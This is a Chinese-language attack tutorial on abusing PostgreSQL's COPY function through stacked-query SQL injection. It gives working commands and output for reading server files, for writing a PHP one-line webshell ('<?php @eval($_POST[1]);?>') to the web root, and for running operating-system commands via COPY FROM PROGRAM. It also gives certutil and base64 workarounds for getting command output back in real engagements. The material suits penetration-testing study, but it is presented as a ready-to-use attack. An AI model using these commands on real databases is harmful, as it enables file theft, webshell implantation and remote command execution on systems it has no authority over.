0x01 注意点
要有对应的权限,这点很好理解吧,普通用户一般是不行的。
0x02 读文件的方法
读文件使用的是Copy函数但是需要注意Copy函数是一个缺陷严重的函数一共有3个致命缺陷,其中能人为解决的不多1. 分隔符缺陷默认情况下postgres为制表符(\t,0x09),同时以换行符作为每一行的分隔符。如果说导入的文件里面有制表符,那么制表符到换行符之间的内容都会作为下一个字段的值,如果目标表只有一个字段,那么就会爆错这个问题的解决方案我通过网上查找发现是可以解决的,网上的解决方案是利用copy函数的delimiter选项制定分隔符,同时还推荐设置为 0x7f换成sql就是如下: copy f(file_data) from 'C:\1.php'with delimiter E'\x7f';2. 遇到\.时会终止并报错例如说: apache 的配置文件的有这一句话 <FilesMatch "\.(gif|jpe?g|png)$">那么不好意思直接爆错,看官方文档说的是 \.是 COPY table_name FROM STDIN 模式下的结束标识人为无法很好的解决这个问题,因为我们控制不了内容的内容,一般我们只能读!!!3. 导入的文件编码必须与服务器编码相对应简单说就是pgsql默认utf8遇到gbk时直接爆错其它关于copy函数的问题可以查看官方文档:https://www.postgresql.org/docs/9.1/sql-copy.html
注意: 如果无法堆叠的话, 该方法无法使用// 创建一张新表create table f(file_data text not null);// 读取 C:\1.php数据 复制内容到 f表的 file_data字段copy f(file_data) from 'C:\1.php'with delimiter E'\x7f';注意: with delimiter E'\x7f' 可加可不加,建议最好是加// 通过普通语句读取出数据// limit 1 读一行// OFFSET 0 下标从0开始 0==读第一行数据select file_data from f limit 1 OFFSET 0;// 删除f表drop table f;
// 执行结果skylar=#create table f(file_data text not null);copy f(file_data) from 'C:\1.php';select file_data from f limit 1 OFFSET 0;drop table f;Command OKCommand OK - 1 row affected+----------------+| file_data |+----------------+| 12312123123123 |+----------------+1 row in setCommand OK
0x03 写文件的方法
# 需要注意, 如果无法堆叠的话, 该方法无法使用命令结束: copy (select '一句话木马的代码') to '写马的路径';命令2: copy (select '<?php @eval($_POST[1]);?>') to 'C:\2.php';
// 执行结果// 执行完毕以后就会在// c盘 跟目录生成一个 2.php// 内容为 <?php @eval($_POST[1]);?> 的一句话木马skylar=# copy (select '<?php @eval($_POST[1]);?>') to 'C:\2.php';Command OK - 1 row affected
0x04 命令执行
// 需要注意, 如果无法堆叠的话, 该方法无法使用copy函数在PostgreSQL 9.3版本开始copy语句新增加了一个PROGRAM语法PROGRAM语法需要pg_execute_server_program权限,默认情况下只有postgres用户具备如果权限足够即可实现命令执行以下就简单介绍一下如何利用例子-命令执行相关操作过程:create table result(content text); // 创建个result表保存命令执行结果copy result from program 'whoami'; // 执行命令,并把结果保存到result表select content from result; // 读取result表获取命令执行结果DROP TABLE result // 删除result表
windows
上面的例子如果在实战中爆类似下面的错,或是你看到表没有命令执行的结果很可能是发生了这个错误:[Err] ERROR: invalid byte sequence for encoding "UTF8": 0xc5 0xe4CONTEXT: COPY result, line 2这是因为PostgreSQL是utf8编码而命令行的返回值是gbk导致的那么就要问了,解决方案有么?有的,我们可以利用windows base64函数来进行数据把语句修改为如下曲线救国即可命令执行相关操作过程:注意: with delimiter E'\x7f' 可加可不加,建议最好是加create table result(content text); // 创建个result表保存命令执行结果copy result from program 'ipconfig > C:\\Windows\\Temp\\m.txt'with delimiter E'\x7f'; // 执行命令并把结果写入到临时目录中备用copy result from program 'certutil -f -encode C:\\Windows\\Temp\\m.txt C:\\Windows\\Temp\\m64.txt'with delimiter E'\x7f'; // 将命令结果转为base64copy result from program 'type C:\\Windows\\Temp\\m64.txt'with delimiter E'\x7f';select content from result; // 将命令结果的base64写入result表DROP TABLE result; // 删除result
linux
linux如果有出现数据为空的情况,也可以试试曲线救国把数据base64编码一下在读命令执行相关操作过程:注意: with delimiter E'\x7f' 可加可不加,建议最好是加create table result(content text); // 创建个result表保存命令执行结果copy result from program 'ifconfig | base64'with delimiter E'\x7f'; // 执行命令,,并把结果base64保存到result表select content from result; // 读取result表获取命令执行结果DROP TABLE result // 删除result表
